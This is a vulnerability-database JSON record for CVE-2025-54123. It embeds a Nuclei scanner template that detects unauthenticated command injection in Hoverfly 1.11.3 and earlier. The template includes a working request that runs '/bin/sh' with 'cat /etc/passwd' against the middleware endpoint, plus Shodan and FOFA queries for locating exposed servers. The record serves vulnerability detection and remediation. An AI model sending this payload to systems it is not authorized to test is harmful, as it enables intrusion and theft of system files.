{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-54123/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-54123/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-54123/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-54123/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-54123/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-54123"},"sightings":{"href":"/api/v1/sightings/cve-2025-54123"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-54123.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-54123\n\ninfo:\n  name: Hoverfly <= 1.11.3 - Remote Code Execution\n  author: nukunga[seonghyeonJeon]\n  severity: critical\n  description: |\n    Hoverfly versions 1.11.3 and below are vulnerable to remote code execution (RCE) via command injection in the middleware API endpoint (/api/v2/hoverfly/middleware). Insufficient validation of the 'binary' and 'script' parameters allows an unauthenticated attacker to execute arbitrary commands on the host system.\n  impact: |\n    Unauthenticated attackers can inject arbitrary operating system commands through the middleware API endpoint, achieving complete server compromise.\n  remediation: |\n    Upgrade Hoverfly to a version later than 1.11.3 that properly validates the binary and script parameters in the middleware endpoint.\n  reference:\n    - https://github.com/advisories/GHSA-r4h8-hfp2-ggmf\n    - https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-r4h8-hfp2-ggmf\n  metadata:\n    verified: true\n    max-requests: 1\n    shodan-query:\n      - http.favicon.hash:1357234275\n      - title:\"Hoverfly Dashboard\"\n    fofa-query:\n      - icon_hash=\"1357234275\"\n      - title=\"Hoverfly Dashboard\"\n  tags: cve,cve2025,hoverfly,rce,intrusive,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        PUT /api/v2/hoverfly/middleware HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n          \"binary\": \"/bin/sh\",\n          \"script\": \"cat /etc/passwd\"\n        }\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"status_code == 422\"\n          - \"regex('root:x:0:0', body)\"\n          - \"contains_all(body, 'STDOUT:','hoverfly')\"\n        condition: and\n# digest: 4a0a004730450220624ddaba1257a5c043c7b4f93e238e9f906dd3a3cc32bcdbc563dfcc244b8958022100a9a72f8bf5e09f2760ba6118a1ceb262c5b73d4d48066bce02caa8da46495d16:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-54123"}